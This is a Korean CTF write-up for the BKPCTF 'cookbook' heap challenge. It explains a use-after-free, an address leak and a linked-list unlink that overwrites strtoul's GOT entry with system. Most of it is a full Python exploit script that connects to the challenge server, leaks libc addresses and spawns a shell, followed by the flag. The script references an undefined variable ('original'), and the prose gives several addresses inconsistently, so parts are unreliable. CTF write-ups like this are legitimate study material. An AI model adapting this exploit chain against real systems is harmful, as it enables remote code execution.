sub_8049092() 함수에서 recipe를 discard할 때 free만 해주고 0x804d0a0는 0으로 만들지않아 Use After Free가 가능하다.

특히 free를 해둔 뒤 새로운 ingredient를 할당하면 같은 주소에 malloc되는데, 이를 이용해 ingredient도 Use After Free가 가능하다.

Memory Leak은 Recipe를 프린트해주는 곳에서 발생한다. Recipe를 프린트할 때 0x804d0a0에 담긴 주소를 ptr이라고 할 때, ptr+116번째 주소를 leak해준다.

cndq => 0x804d0a0 할당 후 해제

ang, "A"x116 + leak할 주소, => 그 위에 new ingredient

cp => Leak


Memory Overwrite는 링크드리스트를 해제할 때 일어난다. 다음 그림을 살펴보자.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

이 상태에서 node2를 해제하게되면 node1의 next포인터가 node2의 next포인터로 덮어써진다.

0x804a0d0에 들어있는 ptr+0과 ptr+4가 각각 링크드리스트 head를 가리키고있는데, 위에서 Memory Leak할 때 덮어쓴 것처럼 이도 덮어쓰기가 가능하다.

따라서 ptr+4를 0x804a098로 덮어쓰면 다음과 같은 형태가 된다.

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

이 때 node2는 0x804d098이 가리키고있는 ingredient객체이므로 새로운 ingredient를 추가하고 칼로리와 가격을 설정해주므로써 next를 조작가능하다.

이런 형태에서 node2를 지우게되면 node1의 next가 0x804d034를 가리키게 된다. 이 주소로 해주는 이유가 있는데, free를 한 뒤에 Linked List를 iterate하면서 Linked List의 전체 개수를 가져오는 함수를 호출하는데, node3는 next->next가 0으로 깔끔하게 끝난다. 이 주소 말고 다른 함수로 하다보면 node3 이후에 next가 0이 아닐 때까지 접근하다가 죽어버린다.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

node2를 free하면서 node1의 next가 0x804d034를 가리키게 되면 price를 설정해주므로써 strtoul의 GOT overwrite가 가능하다. strtoul의 GOT를 system으로 덮어쓰면 Recipe를 추가하는 곳에서 사용자 입력값이 strtoul로 들어가게 된다.


최종 exploit 코드는 다음과 같다. (정리하지 않아 더럽다..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



+ Recent posts